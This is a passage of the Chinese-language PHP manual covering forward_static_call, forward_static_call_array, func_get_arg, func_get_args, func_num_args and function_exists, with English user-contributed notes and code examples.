Create_function enables the ability to change the scope of functions.  You might have a class where it needs to define a GLOBAL function.  This is possible, like:

<?php
        class blah {
                function blah() {
                        $z=create_function('$arg1string','return "function-z-".$arg1string;');
                        $GLOBALS['z']=$z;
                }
        }
        $blah_object=new blah;

        $result=$GLOBALS['z']('Argument 1 String');
        echo $result;
?>

Making a function escape it's defined scope can be useful in many situations.


调用静态方法且参数作为数组传递

  • ? create_function
  • forward_static_call ?
  • PHP Manual
  • 函数处理 函数
  • 调用静态方法且参数作为数组传递

forward_static_call_array

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

forward_static_call_array — 调用静态方法且参数作为数组传递

说明

forward_static_call_array(callable $callback, array $args): mixed

通过 callback 参数指定调用用户定义的函数或者方法。此函数必须在方法上下文中调用，不能在类外使用。它使用后期静态绑定。转发方法的所有参数都作为值和数组传递，类似于 call_user_func_array()。

参数

callback

要调用的函数或者方法。此参数可以是带类名及方法的 array 或者带函数名的 string。

parameter

参数，将所有方法参数聚合到一个数组中。

Note:

注意 forward_static_call_array() 的参数不是通过引用传递的。

返回值

返回函数的结果，失败时返回 false。

示例

Example #1 forward_static_call_array() 示例

<?php

class A
{
const NAME = 'A';
public static function test() {
$args = func_get_args();
echo static::NAME, " ".join(',', $args)." \n";
}
}

class B extends A
{
const NAME = 'B';

public static function test() {
echo self::NAME, "\n";
forward_static_call_array(array('A', 'test'), array('more', 'args'));
forward_static_call_array( 'test', array('other', 'args'));
}
}

B::test('foo');

function test() {
$args = func_get_args();
echo "C ".join(',', $args)." \n";
}

?>

以上示例会输出：

B
B more,args
C other,args

参见

  • forward_static_call() - 调用静态方法
  • call_user_func() - 把第一个参数作为回调函数调用
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • is_callable() - 验证值是否可以在当前范围内作为函数调用。

User Contributed Notes

israfilov93 at gmal dot com 15-Aug-2018 07:04
one of academic example, when forward_static_call() can be useful

<?php

class A
{
    public static function test()
    {
        var_dump('we were here');
        return static::class;
    }
}

class B extends A
{
    public static function test()
    {
        return self::class;
    }
}

class C extends B
{
    public static function test()
    {
        $grandParent = get_parent_class(parent::class); // $grandParent is A
        return forward_static_call([$grandParent, __FUNCTION__]); // calls A::test()
    }
}

// prints
// string(12) "we were here"
// string(1) "C"
var_dump(C::test());
nino dot skopac at gmail dot com 30-Jul-2016 02:49
Regarding namespaces:

Be sure to include fully namespaced class path:

<?php
forward_static_call_array(
    array('NAMESPACE\CLASS_NAME', 'STATIC_METHOD'),
    $params
);


调用静态方法

  • ? forward_static_call_array
  • func_get_arg ?
  • PHP Manual
  • 函数处理 函数
  • 调用静态方法

forward_static_call

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

forward_static_call — 调用静态方法

说明

forward_static_call(callable $callback, mixed ...$args): mixed

使用以下参数，调用通过 callback 参数给出的用户定义的函数或者方法。此函数必须在方法上下文中调用，不能在类外调用。它使用后期静态绑定

参数

callback

要调用的函数或者方法。此参数可以是带类名及方法的 array 或者带函数名的 string。

args

要传递给函数的零到多个参数。

返回值

返回函数结果，失败时返回 false。

示例

Example #1 forward_static_call() 示例

<?php

class A
{
const NAME = 'A';
public static function test() {
$args = func_get_args();
echo static::NAME, " ".join(',', $args)." \n";
}
}

class B extends A
{
const NAME = 'B';

public static function test() {
echo self::NAME, "\n";
forward_static_call(array('A', 'test'), 'more', 'args');
forward_static_call( 'test', 'other', 'args');
}
}

B::test('foo');

function test() {
$args = func_get_args();
echo "C ".join(',', $args)." \n";
}

?>

以上示例会输出：

B
B more,args
C other,args

参见

  • forward_static_call_array() - 调用静态方法且参数作为数组传递
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • call_user_func() - 把第一个参数作为回调函数调用
  • is_callable() - 验证值是否可以在当前范围内作为函数调用。

User Contributed Notes

jhibbard at gmail dot com 19-Jun-2012 07:55
Example usage via calls outside of the class and within an object:

<?php
/**
 * @author Jonathon Hibbard
 */
class foo {
  # used to verify we're actually setting something..
  private static $value = '';

  /**
   * Simple setter for the static method setValue...
   */
  public static function set($method_identifier, $value_to_pass = '') {
    # make sure we have the right method format...
    # another semi-useful example is like this (useful for REST-like requests...): str_replace(" ", "", ucwords(str_replace("_", " ",  $method_identifier)));
    $static_method = 'set' . ucfirst(strtolower(trim($method_identifier)));

    if(method_exists(__CLASS__, $static_method)) {
      //Note:  this will not work and will throw PHP Parse error:  syntax error, unexpected '::'
      //__CLASS__::$static_method($value_to_pass);

      foo::$static_method($value_to_pass);

      echo "\tCalling forward_static_call with pure string and value param:\n";
      forward_static_call(__CLASS__ . "::" . $static_method, $value_to_pass);

      echo "\tCalling forward_static_call with class, method array and value param:\n";
      forward_static_call(array(__CLASS__, $static_method), $value_to_pass);
    }
  }

  /**
   * Set self::$value to something?
   */
  public static function setValue($value_recieved = '') {
    echo "\t\tsetValue called with param of " . var_export($value_recieved, true) . "!\n";

    echo "\t\tSetting Private 'value'...\n";

    self::$value = $value_recieved;

    echo "\t\tChecking the Private 'value':\n";
    if(!empty(self::$value)) {
      echo "\t\t\tPrivate 'value' was set to '" . self::$value . "' as expected!\n";
    } else {
      echo "\t\t\tPrivate 'value' was not set!\n";
    }

    # Reset...
    self::$value = '';
  }

  /**
   * Create an object and test calling the static method from within this realm...
   */
  public function __construct() {
    echo "\tCalling from within constructor..\n";
    foo::set('value','Something else from within the instance!');
  }
}

echo "\n============ Calling by static method first ============\n";
foo::set('value','Something from outside of the foo class!');

echo "\n============ Calling by static method without a value next ============\n";
foo::set('value');

echo "\n============ Calling by createing an instance next ============\n";
new foo();
?>
arthur dot techarts at gmail dot com 12-Jul-2011 07:39
Example to understand this function and difference with call_user_func:

<?php
class Beer {
    const NAME = 'Beer!';
    public static function printed(){
        echo 'static Beer:NAME = '. static::NAME . PHP_EOL;
    }
}

class Ale extends Beer {
    const NAME = 'Ale!';
    public static function printed(){
        forward_static_call(array('parent','printed'));
        call_user_func(array('parent','printed'));

        forward_static_call(array('Beer','printed'));
        call_user_func(array('Beer','printed'));
    }
}

Ale::printed();
echo '</pre>';
?>


返回参数列表的某一项

  • ? forward_static_call
  • func_get_args ?
  • PHP Manual
  • 函数处理 函数
  • 返回参数列表的某一项

func_get_arg

(PHP 4, PHP 5, PHP 7, PHP 8)

func_get_arg — 返回参数列表的某一项

说明

func_get_arg(int $position): mixed

从用户自定义函数的参数列表中获取某个指定的参数。

该函数可以配合 func_get_args() 和 func_num_args() 一起使用，从而使得用户自定义函数可以接受自定义个数的参数列表。

参数

position

参数的偏移量。函数的参数是从 0 开始计数的。

返回值

返回指定的参数，错误则返回 false。

错误／异常

当在自定义函数的外面调用的该函数的时候会发出一个警告， 或者是当 position 比实际传入的参数的数目大的时候也会发出一个警告。

示例

Example #1 func_get_arg() 例子

<?php
function foo()
{
$numargs = func_num_args();
echo "Number of arguments: $numargs\n";
if ($numargs >= 2) {
echo "Second argument is: " . func_get_arg(1) . "\n";
}
}

foo(1, 2, 3);
?>

以上示例会输出：

Number of arguments: 3
Second argument is: 2

Example #2 byRef 和 byVal 参数的 func_get_arg() 示例

<?php
function byVal($arg) {
echo 'As passed : ', var_export(func_get_arg(0)), PHP_EOL;
$arg = 'baz';
echo 'After change : ', var_export(func_get_arg(0)), PHP_EOL;
}

function byRef(&$arg) {
echo 'As passed : ', var_export(func_get_arg(0)), PHP_EOL;
$arg = 'baz';
echo 'After change : ', var_export(func_get_arg(0)), PHP_EOL;
}

$arg = 'bar';
byVal($arg);
byRef($arg);
?>

以上示例会输出：

As passed : 'bar'
After change : 'baz'
As passed : 'bar'
After change : 'baz'

注释

Note:

As of PHP 8.0.0, the func_*() family of functions is intended to be mostly transparent with regard to named arguments, by treating the arguments as if they were all passed positionally, and missing arguments are replaced with their defaults. This function ignores the collection of unknown named variadic arguments. Unknown named arguments which are collected can only be accessed through the variadic parameter.

Note:

如果参数以引用方式传递，函数对该参数的任何改变将在函数返回后保留。As of PHP 7 the current values will also be returned if the arguments are passed by value.

Note: 此函数仅返回传递参数的副本，不会考虑默认（未传递）参数。

参见

  • ... 语法
  • func_get_args()
  • func_num_args()

User Contributed Notes

gordon at abetz-rouse dot com dot au 23-Mar-2020 11:30
This function may work differently from php5 to php7, in the latter it seems to reference the variable, while in php5 it returns the original argument.
I have confirmed with the versions below, but this will require further confirmation as to whether this is a 5 versus 7 issue.

function test( $test ){

    $test = '123';

    echo func_get_arg(0);

}

test( '321' );

//in php 5.5.9, this script will write '321'
//in php 7.0.33, this script will write '123'
beta3designs [at] gmail [dot] com 06-Jul-2009 06:34
This functions seems so powerful... just when i saw it i thought about writing a fast average of n numbers function so here it is, it is very simple... example usage included.

<?php

//Calculate the average of the numbers given

function avg(){
    $sum = 0;
    for($i = 0; $i < func_num_args(); $i++){
        $sum += func_get_arg($i);
    }
    $avg = $sum / func_num_args();
    return $avg;
}

echo sprintf("%.2f",avg(2,1,2,1,3,4,5,1,3,6));
?>
mw atto lanfear dotto com 07-Dec-2004 02:56
func_get_arg() does not appear to be allowed to be used as a function argument itself within class constructors in PHP 5.0.2 (wonk-ay!!!):

<?php

class ABC
{
    function __construct()
    {
        foreach (func_get_args() as $name => $value)
        {
    echo <<<EOT
    <br/>
    $name : $value <br/>
    <br/>

EOT;
        }
    }
}

class DEF extends ABC
{
    function __construct()
    {
        parent::__construct(func_get_arg(0),
                                    func_get_arg(1),
                                    func_get_arg(2));
    }
}

$def = new DEF(123123, "asdfasdf", "blahblahblah");

?>

The above script generates:

Fatal error: func_get_arg(): Can't be used as a function parameter in c:\Inetpub\wwwroot\phpwasrc\chapter10\xxx.php on line 23

There are, however, no problems when passing these as parameters to regular functions.
anders at ingemann dot fakestuff dot de 03-Jun-2004 06:16
I actually think that there is need for such "do absolutely everything" functions. I use them mostly as tools for rapid prototyping.
And there is a method with which you may be able to pass several strings to a function: ereg();
Another use for such functions is to create little code snippets for other people out there. They won't have to edit the function any longer if they do not use a parameter. They just don't name it when calling the function.
This results in allrounder functions that are very robust in their use.Normally you just have a little code snippet (e.g. ip-blocking snippets). Through this type of programming you have whole functions.
mightye (at) mightye (dot) org 12-Mar-2004 09:45
func_get_arg() returns a *copy* of the argument, to my knowledge there is no way to retrieve references to a variable number of arguments.

I have a module system in my game at http://lotgd.net where I'd like to be able to pass a variable number of arguments to functions in a module, and pass them by reference if the module asks for it by reference, but you can't accept optional parameters as references, nor can you retrieve the reference on a variable number of arguments.  Looks like my modules will have to do with out the ability to accept parameters to their functions by reference.


返回一个包含函数参数列表的数组

  • ? func_get_arg
  • func_num_args ?
  • PHP Manual
  • 函数处理 函数
  • 返回一个包含函数参数列表的数组

func_get_args

(PHP 4, PHP 5, PHP 7, PHP 8)

func_get_args — 返回一个包含函数参数列表的数组

说明

func_get_args(): array

获取函数参数列表的数组。

该函数可以配合 func_get_arg() 和 func_num_args() 一起使用，从而使得用户自定义函数可以接受自定义个数的参数列表。

参数

此函数没有参数。

返回值

返回一个数组，其中每个元素都是目前用户自定义函数的参数列表的相应元素的副本。

错误／异常

在用户自定义函数外调用则会出现错误警告。

示例

Example #1 func_get_args() 例子

<?php
function foo()
{
$numargs = func_num_args();
echo "Number of arguments: $numargs \n";
if ($numargs >= 2) {
echo "Second argument is: " . func_get_arg(1) . "\n";
}
$arg_list = func_get_args();
for ($i = 0; $i < $numargs; $i++) {
echo "Argument $i is: " . $arg_list[$i] . "\n";
}
}

foo(1, 2, 3);
?>

以上示例会输出：

Number of arguments: 3
Second argument is: 2
Argument 0 is: 1
Argument 1 is: 2
Argument 2 is: 3

Example #2 byRef 和 byVal 参数的 func_get_args() 示例

<?php
function byVal($arg) {
echo 'As passed : ', var_export(func_get_args()), PHP_EOL;
$arg = 'baz';
echo 'After change : ', var_export(func_get_args()), PHP_EOL;
}

function byRef(&$arg) {
echo 'As passed : ', var_export(func_get_args()), PHP_EOL;
$arg = 'baz';
echo 'After change : ', var_export(func_get_args()), PHP_EOL;
}

$arg = 'bar';
byVal($arg);
byRef($arg);
?>

以上示例会输出：

As passed : array (
0 => 'bar',
)
After change : array (
0 => 'baz',
)
As passed : array (
0 => 'bar',
)
After change : array (
0 => 'baz',
)

注释

Note:

As of PHP 8.0.0, the func_*() family of functions is intended to be mostly transparent with regard to named arguments, by treating the arguments as if they were all passed positionally, and missing arguments are replaced with their defaults. This function ignores the collection of unknown named variadic arguments. Unknown named arguments which are collected can only be accessed through the variadic parameter.

Note:

如果参数以引用方式传递，函数对该参数的任何改变将在函数返回后保留。As of PHP 7 the current values will also be returned if the arguments are passed by value.

Note: 该函数仅仅是返回传递参数的一个副本，并且不包含没有传入的默认参数。

参见

  • ... 语法
  • func_get_arg()
  • func_num_args()
  • ReflectionFunctionAbstract::getParameters()

User Contributed Notes

hans at loltek dot net 20-Oct-2023 09:34
I wanted an associative list of arguments, in case some else does too, I'm leaving it here.

I hope PHP gets native support for this, because a core implementation would be faster than this userland backtrace+reflection implementation:
<?php

/**
 * Get function arguments as associative array
 * (same as func_get_args() but with keys)
 *
 * @param bool $populateMissingArgumentsWithDefaults whether to populate the array with default values for missing arguments
 *
 * @return array
 */
function func_get_args_associative(bool $populateMissingArgumentsWithDefaults = false): array
{
    $trace = debug_backtrace(0, 2)[1];
    $reflection = null;
    if (isset($trace['class'])) {
        $reflection = new \ReflectionMethod($trace['class'], $trace['function']);
    } else {
        $reflection = new \ReflectionFunction($trace['function']);
    }
    $ret = [];
    foreach ($reflection->getParameters() as $param) {
        if (array_key_exists($param->getPosition(), $trace['args'])) {
            $ret[$param->name] = $trace['args'][$param->getPosition()];
        } elseif ($populateMissingArgumentsWithDefaults) {
            // because of the "required arguments declared after an optional argument are implicitly required" rule:
            assert($param->isDefaultValueAvailable(), "i think all params are either in trace[args] or have default values");
            $ret[$param->name] = $param->getDefaultValue();
        }
    }
    return $ret;
}
?>
art at geigel dot com 28-Mar-2023 03:32
The size of the array resulting from func_get_args(), for instance using count(), does not take into account parameters that have been assigned default values in the function definition.

Example:

function foo($bar=true) {
     echo count(func_get_args());
}

foo();
// echoes 0

foo("bar");
// echoes 1

A useful condition to test for when a function needs to return default behavior (whatever that might be) when no value is present and the value of $bar could be true, false, null, etc.
cobrattila at gmail dot com 20-Nov-2019 04:17
If you want to get the arguments by reference, instead of func_get_args() you can simply use

<?php
function args_byref(&...$args) {
    // Modify the $args array here
}
?>

Credits should go to Markus Malkusch for pointing this out on Stackoverflow.
https://stackoverflow.com/a/29181826/1426064
foxkeys at gmail dot com 17-Mar-2016 06:18
Merge func_get_args() with function defaults
<?php
class utils {
  /**
   * @param mixed[] $args
   * @param ReflectionMethod $reflectionMethod
   *
   * @return array
   */
  public static function mergeArgsWithDefaults( $args, \ReflectionMethod $reflectionMethod ) {
    foreach ( array_slice( $reflectionMethod->getParameters(), count( $args ) ) as $param ) {
      /**
       * @var ReflectionParameter $param
       */
      $args[] = $param->getDefaultValue();
    }
    return $args;
  }
}

class  sampleParent {
  const USER_FILE_TYPE_FILE = 'FILE';
  public function select( $idUserFile = null, $idUserFileType = self::USER_FILE_TYPE_FILE ) {
    echo '[$idUserFile=>' . $idUserFile . ', $idUserFileType=>' . $idUserFileType, ']<br/>' . PHP_EOL;
  }
}

class sample extends sampleParent {
  const USER_FILE_TYPE_IMG = 'IMG';
  public function select( $idUserFile = null, $idUserFileType = self::USER_FILE_TYPE_IMG ) {
    return call_user_func_array( 'parent::select', \utils::mergeArgsWithDefaults( func_get_args(), new ReflectionMethod( __CLASS__, __FUNCTION__ ) ) );
  }
}

$sample1 = new sampleParent();
$sample1->select();//Prints "" / self::USER_FILE_TYPE_FILE
$sample1->select(1);//Prints 1 / self::USER_FILE_TYPE_FILE
$sample1->select(2, 'test 1');//Prints 2 / "test 1"
echo '<br/>' . PHP_EOL;
$sample2 = new sample();
$sample2->select();//Prints "" / self::USER_FILE_TYPE_IMG
$sample2->select(3);//Prints 3 / self::USER_FILE_TYPE_IMG
$sample2->select(4, 'test 2');//Prints 4 / "test 2"
?>
maarten at ba dot be 13-Sep-2012 11:58
it seems that this function only returns a copy and loses it's byref information, use this dirty non-efficient workaround instead:

at the moment of writing it currently returns all of them as references, instead of only the ones who are passed that way...

<?php
function func_get_args_byref() {
        $trace = debug_backtrace();
        return $trace[1]['args'];
}
?>
OpenTechnologist 30-Dec-2011 07:54
please note that optional parameters are not seen/passed by func_get_args(), as well as func_get_arg().

ex:

<?php
function testfunc($optional = 'this argument is optional..') {
    $args = func_get_args();
    var_dump($args);
    echo $optional;
}
?>

test case #1:
testfunc('argument no longer optional..');

result for #1:
array(1) {
    [0]=>  string(20) "argument no longer optional.."
}
argument no longer optional..

test case #2:
testfunc('argument no longer optional..','this is an extra argument');

result for #2:
array(2) {
    [0]=>  string(29) "argument no longer optional.."
    [1]=>  string(25) "this is an extra argument"
}
argument no longer optional..

test case #3: -- RESULTS IN AN EMPTY ARRAY
testfunc();

result for #3:
array(0) {
}
this argument is optional..
mitko at edabg dot com 06-Apr-2009 03:48
<?php
/*
This example demonstrate how to use unknown variable arguments by reference.
func_get_args() don't return arguments by reference, but
debug_backtrace() "args" is by reference.
In PHP 5 this have no particular sense, because calling with arguments by reference
is depreciated and produce warning.
*/

class foo {

    var $bar = "default bar";

    function foo(/*variable arguments*/) {
// func_get_args returns copy of arguments
//        $args = func_get_args();
// debug_backtrace returns arguments by reference
        $stack = debug_backtrace();
        $args = array();
        if (isset($stack[0]["args"]))
            for($i=0; $i < count($stack[0]["args"]); $i++)
                $args[$i] = & $stack[0]["args"][$i];
        call_user_func_array(array(&$this, 'bar'), $args);
    }

    function bar($bar = NULL) {
        if (isset($bar))
            $this->bar = & $bar;
    }
}

$global_bar = "bar global";
$foo = & new foo();
echo "foo->bar:    ".$foo->bar."</br>\n";
$foo->bar = "new bar";
echo "global_bar:  ".$global_bar."</br>\n";
/*
Result:
foo->bar:    default bar</br>
global_bar:  bar global</br>
*/

$foo = & new foo(&$global_bar);
echo "foo->bar:    ".$foo->bar."</br>\n";
$foo->bar = "new bar";
echo "global_bar:  ".$global_bar."</br>\n";
/*
Result:
foo->bar:    bar global</br>
global_bar:  new bar</br>
*/

?>
anderson at francotecnologia dot com 26-Aug-2008 11:25
How to create a polymorphic/"overloaded" function

<?php
function select()
{
    $t = '';
    $args = func_get_args();
    foreach ($args as &$a) {
        $t .= gettype($a) . '|';
        $a = mysql_real_escape_string($a);
    }
    if ($t != '') {
        $t = substr($t, 0, - 1);
    }
    $sql = '';
    switch ($t) {
        case 'integer':
            // search by ID
            $sql = "id = {$args[0]}";
            break;
        case 'string':
            // search by name
            $sql = "name LIKE '%{$args[0]}%'";
            break;
        case 'string|integer':
            // search by name AND status
            $sql = "name LIKE '%{$args[0]}%' AND status = {$args[1]}";
            break;
        case 'string|integer|integer':
            // search by name with limit
            $sql = "name LIKE '%{$args[0]}%' LIMIT {$args[1]},{$args[2]}";
            break;
        default:
            // :P
            $sql = '1 = 2';
    }
    return mysql_query('SELECT * FROM table WHERE ' . $sql);
}
$res = select(29); // by ID
$res = select('Anderson'); // by name
$res = select('Anderson', 1); // by name and status
$res = select('Anderson', 0, 5); // by name with limit
?>
ario [a] mail [dot] utexas [dot] edu 07-May-2007 02:50
"Because this function depends on the current scope to determine parameter details, it cannot be used as a function parameter. If you must pass this value, assign the results to a variable, and pass the variable."

This means that the following code generates an error:

<?php

function foo($list)
{
  echo implode(', ', $list);
}

function foo2()
{
  foo(func_get_args());
}

foo2(1, 2, 3);

?>

However, you can easily get around this by doing the following:

<?php

function foo($list)
{
  echo implode(', ', $list);
}

function foo2()
{
  foo($args = func_get_args());
}

foo2(1, 2, 3);

?>

This captures the context from foo2(), making this legal.  You get the expected output:

"1, 2, 3"
T.M. 04-Nov-2004 07:24
Simple function to calculate average value using dynamic arguments:
<?php
function average(){
    return array_sum(func_get_args())/func_num_args();
}
print average(10, 15, 20, 25); // 17.5
?>
daveNO at ovumSPAMdesign dot com 17-Sep-2001 11:29
<?php
// How to simulate named parameters in PHP.
// By Dave Benjamin <dave@ovumdesign.com>

// Turns the array returned by func_get_args() into an array of name/value
// pairs that can be processed by extract().
function varargs($args) {
    $count = count($args);
    for ($i = 0; $i < $count; $i += 2) {
        $result[$args[$i]] = $args[$i + 1];
    }

    return $result;
}

// Example
function test(&$ref1, &$ref2) {
    // Default arguments go here.
    $foo = "oof";

    // Do some magic.
    extract(varargs(func_get_args()));

    echo nl2br("\n\$var1 = $var1");
    echo nl2br("\n\$var2 = $var2");
    echo nl2br("\n\$foo = $foo\n\n");

    // Modify some variables that were passed by reference.
    // Note that func_get_args() doesn't pass references, so they
    // need to be explicitly declared in the function definition.
    $ref1 = 42;
    $ref2 = 84;
}

$a = 5;
$b = 6;

echo nl2br("Before calling test(): \$a = $a\n");
echo nl2br("Before calling test(): \$b = $b\n");

// Try removing the 'foo, "bar"' from the following line.
test($a, $b, var1, "abc", var2, "def", foo, "bar");

echo nl2br("After calling test(): \$a = $a\n");
echo nl2br("After calling test(): \$b = $b\n");
?>
04-Jun-2001 07:44
You can pass a variable number of arguments to a function whilst keeping references intact by using an array. The disadvantage of course, is that the called function needs to be aware that it's arguments are in an array.

<?php
// Prints "hello mutated world"
function mutator($args=null) {
$n=count($args);
while($i<$n) $args[$i++] = "mutated";
}
$a = "hello";
$b = "strange";
$c = "world";
mutator(array($a, &$b, $c));
echo "$a $b $c";
?>


返回传递给函数的参数数量

  • ? func_get_args
  • function_exists ?
  • PHP Manual
  • 函数处理 函数
  • 返回传递给函数的参数数量

func_num_args

(PHP 4, PHP 5, PHP 7, PHP 8)

func_num_args — 返回传递给函数的参数数量

说明

func_num_args(): int

获取传递给函数的参数数量。

此函数可以与 func_get_arg() 和 func_get_args() 结合使用，以便于允许用户定义的函数可以接受可变长度的参数列表。

参数

此函数没有参数。

返回值

返回传递给当前用户定义函数的参数数量。

错误／异常

如果从用户定义的函数外部调用，则生成警告。

示例

Example #1 func_num_args() 示例

<?php
function foo()
{
echo "Number of arguments: ", func_num_args(), PHP_EOL;
}

foo(1, 2, 3);
?>

以上示例会输出：

Number of arguments: 3

注释

Note:

As of PHP 8.0.0, the func_*() family of functions is intended to be mostly transparent with regard to named arguments, by treating the arguments as if they were all passed positionally, and missing arguments are replaced with their defaults. This function ignores the collection of unknown named variadic arguments. Unknown named arguments which are collected can only be accessed through the variadic parameter.

参见

  • ... 语法
  • func_get_arg()
  • func_get_args()
  • ReflectionFunctionAbstract::getNumberOfParameters()

User Contributed Notes

tongcheong77 at gmail dot com 20-Jun-2017 06:12
If you are using PHP 7 and func_num_args is in your base class which you extended, you can pass your arguments with the 'spat' operator.

class Sql {

public function doGetWhere(...$args) {

$num_args = func_num_args();
      $args_list = func_get_args();

      echo '<pre>';
      var_dump($args_list);
      echo '<pre>';
  }
}

class Member extends Sql {

public function getWhere(...$args) {

   $this->doGetWhere(...$args);

      }
}

$member = new Member();
$member->getWhere('first_name','last_name','userlevel','email','where','email','=',$sub_email);

However, take note that if you 'new up' the 'Sql' class in your 'Member' class above, instead of extending it, you will not need to pass your arguments as a variable. Just my two cents. -Bruce tong
luisguillermo dot quevedovelez at gmail dot com 13-Mar-2012 07:32
I had defined a function function_name(){ ...} as a drupal callback.
I try to get how many params where passed

I got a Error and my Site falls down

I've replaced func_get_args() instead func_num_args() and my Site was restored.

I conclude you can not use  func_num_args() in callbacks.

Hope it helps.
Dennis Robinson from basnetworks dot net 29-Jun-2009 09:29
This function comes in handy, and I believe is the only solution, when you have an optional parameter that can take any type of data.

For example:

<?php

// $data can be of any type, including null
function my_function($name, $data = null)
{
    if ($data !== null)
    {
        // Do something with $data
        // If you call my_function('something'), this WILL NOT be reached
        // If you call my_function('something', null), this WILL NOT be reached
    }
}

?>

The problem with the above function is that you will never be able to use null as the value for $data.  To fix this, use func_num_args() like so:

<?php

// $data can be of any type, including null
function my_function($name, $data = null)
{
    if (func_num_args() >= 2)
    {
        // Do something with $data
        // If you call my_function('something'), this WILL NOT be reached
        // If you call my_function('something', null), this WILL be reached
    }
}

?>

This solution works because func_num_args() reports exactly how many arguments were passed when the function was called.  It does not take into account when default argument values are used.
jared at ws-db dot com 06-Sep-2005 09:46
Just a note for anyone wondering. This function doesn't include params that have a default value, unless you pass one in to overwrite the default param value. Not sure if that makes sense, so here's an example:

<?php
function helloWorld($ArgA, $ArgB="HelloWorld!") {
  return func_num_args();
}

// The following will return 1
$Returns1 = helloWorld("HelloWorld!");

// The following will return 2
$Returns2 = helloWorld("HelloWorld!", "HowdyWorld!");
?>
andy at arakka dot co dot th 11-May-2005 07:16
func_num_args() can be used in conjunction with named arguments, also. For example:

<?php
function DebugShow( $label, $value ) {
  echo "# " . $label ;
  if ( func_num_args() > 1 ) echo " = " . $value ;
  echo "<br>";
}
?>
ashley at dcs dot warwick dot ac dot uk 17-Apr-2002 04:40
If you want to pass the parameters on intact to another function, use func_get_args and call_user_func_array (careful - this one is only available in recent PHP versions).  For example:

<?php
/* Print an HTML tag.  This accepts a variable number of arguments:
   the first should be the name of the tag, followed by pairs of
   arguments that describe keys and values.  The values are printed
   with surrounding double quote characters.  */
function printTag() {
  $numArgs = func_num_args();
  if ($numArgs < 1) die("printTag given no arguments");

  echo "<" . func_get_arg(0);
  for ($i = 1; $i < $numArgs; $i+=2) {
    echo " " . func_get_arg($i);
    if ($i+1 < $numArgs)
      echo "=\"" . func_get_arg($i+1) . "\"";
  }
  echo ">";

}

/* Print an HTML tag with a newline on the end */
function printTagNL() {
  $args = func_get_args();
  call_user_func_array("printTag", $args);
  echo "\n";
}

printTagNL("input", "type", "hidden", "name", "SORTORDER", "value", $columnNo);
?>
thalis at NOSPAMcs dot pitt dot edu 29-Mar-2002 12:05
The idea of func_get_args() is to construct functions of variable number of parameters like

<?php
function var_param_func(){
    if(func_num_args()==0){
        //do one thing
    }
    if(func_num_args()==1)
        //do another thing
        //get the args with func_get_args()
    }
}
?>


如果给定的函数已经被定义就返回 true

  • ? func_num_args
  • get_defined_functions ?
  • PHP Manual
  • 函数处理 函数
  • 如果给定的函数已经被定义就返回 true

function_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

function_exists — 如果给定的函数已经被定义就返回 true

说明

function_exists(string $function): bool

在已经定义的函数列表（包括系统自带的函数和用户自定义的函数）中查找 function。

参数

function

函数名，必须为一个字符串。

返回值

如果 function 存在且的确是一个函数就返回 true，反之则返回 false。

Note:

对于语法结构的判断，例如 include_once 和 echo 将会返回 false。

示例

Example #1 function_exists() 的例子

<?php
if (function_exists('imap_open')) {
echo "IMAP functions are available.<br />\n";
} else {
echo "IMAP functions are not available.<br />\n";
}
?>

注释

Note:

即使函数本身由于配置或者编译选项而无法使用，该函数名也可能存在（image 就是一个现成的例子）。

参见

  • method_exists() - 检查类的方法是否存在
  • is_callable() - 验证值是否可以在当前范围内作为函数调用。
  • get_defined_functions() - 返回所有已定义函数的数组
  • class_exists() - 查类是否已经定义
  • extension_loaded() - 检查一个扩展是否已经加载

User Contributed Notes

chris at candm dot org dot uk 04-Aug-2021 02:46
The confusion expressed in some of the submissions here arise because functions declared outside conditional blocks are defined as the code is loaded and are thus callable and exist wherever in the code they are declared, whereas those declared inside a condition block are not defined until that block is executed. Thus:

    echo foo();
    function foo() { return "I am foo"; }

yields : "I am foo"

however because those inside a conditional are defined as they are encountered during code execution

    echo foo();
    if(true) {
        function foo() { return "I am foo"; }
    }

yields: Fatal error: Uncaught Error: Call to undefined function foo()
ayyappan dot ashok at gmail dot com 31-Mar-2016 10:03
PHP supports nested function based on certain criteria.

Please look over the code.

function Media(){ }

function Audio()
{
    echo "Plugged Audo 5.1:<br/>";
    function Volume()
    {
    echo "Volume controls:<br/>";
    function Equalizer()
    {
        echo "Equalize Bands:<br/>";
    }
   }
}
//Call to nested functions
Audio();
Volume();
Equalizer();

if(function_exists('Volume')):
echo "TRUE";
else:
echo "FALSE";
endif;

Case 1:  //Result :Works Well
--------
Audio();
Volume();
Equalizer();

Case 2:  //Results Notice Error. Root function Audio must be called first.
--------
Volume();

Case 3:  //Results Error. Root function Volume must be called.
--------
Audio();
Equalizer();

Note :
The nested function should be called based on their order used.
In our example when Audio is not called and instantly when we try to call Volume puts under error.

Even though there is an possibility to use nested functions in PHP. It looks overhead to do so. Better to avoid in logical ground of script.

Tested on PHP 5.5.32
michael at squiloople dot com 01-Sep-2015 08:28
It should be noted that the function_exists check is not relative to the root namespace. This means that the namespace should be appended to the check:

<?php

  namespace test;

  if (!function_exists(__NAMESPACE__ . '\example'))
  {

    function example()
    {

    }

  }

?>
BruceB 21-Aug-2015 03:55
This is not going to go down as you might expect it should (even if you play smart and require/include_once):

<?php
if(function_exists('my_function'))
{
   throw new Exception("'my_function' is already defined!");
}

function my_function()
{
   // Do the work here
}
?>

This, however does work:

<?php
if( ! function_exists('my_function'))
{
   function my_function()
   {
      // Do the work here
   }
}
else
{
   throw new Exception("'my_function' is already defined!");
}
?>

Does it have anything to do with PHP parse/execute phases or global/local scope or those curly brackets or something else, I have no idea, but the latter ugly son works, while the former bombs out claiming that 'my_function' is already defined.

Thought this might save someone a few minutes of debugging time...
b dot g dot dariush at gmail dot com 07-Feb-2014 05:50
function_exists() does not cache its query internally.

by executing the following code

        $funcs = \array_shift(\get_defined_functions());
        $l = new \core\utiles\loadTime;
        $times = 0;
        $l->start();
        for($index = 0; $index<count($funcs); $index++)
        {
            foreach($funcs as $func)
            {
                $times++;
                if(\function_exists($func)) ;
            }
        }
        $s = $l->stop();
        echo "<span style='color:green'>$times</span> took : $s";
        # the output would be
         $> 2365444 took : 0.70324

By executing the

        $funcs = \array_shift(\get_defined_functions());
        $l = new \core\utiles\loadTime;
        $times = 0;
        $l->start();
        static $func_check = array();
        for($index = 0; $index<count($funcs); $index++)
        {
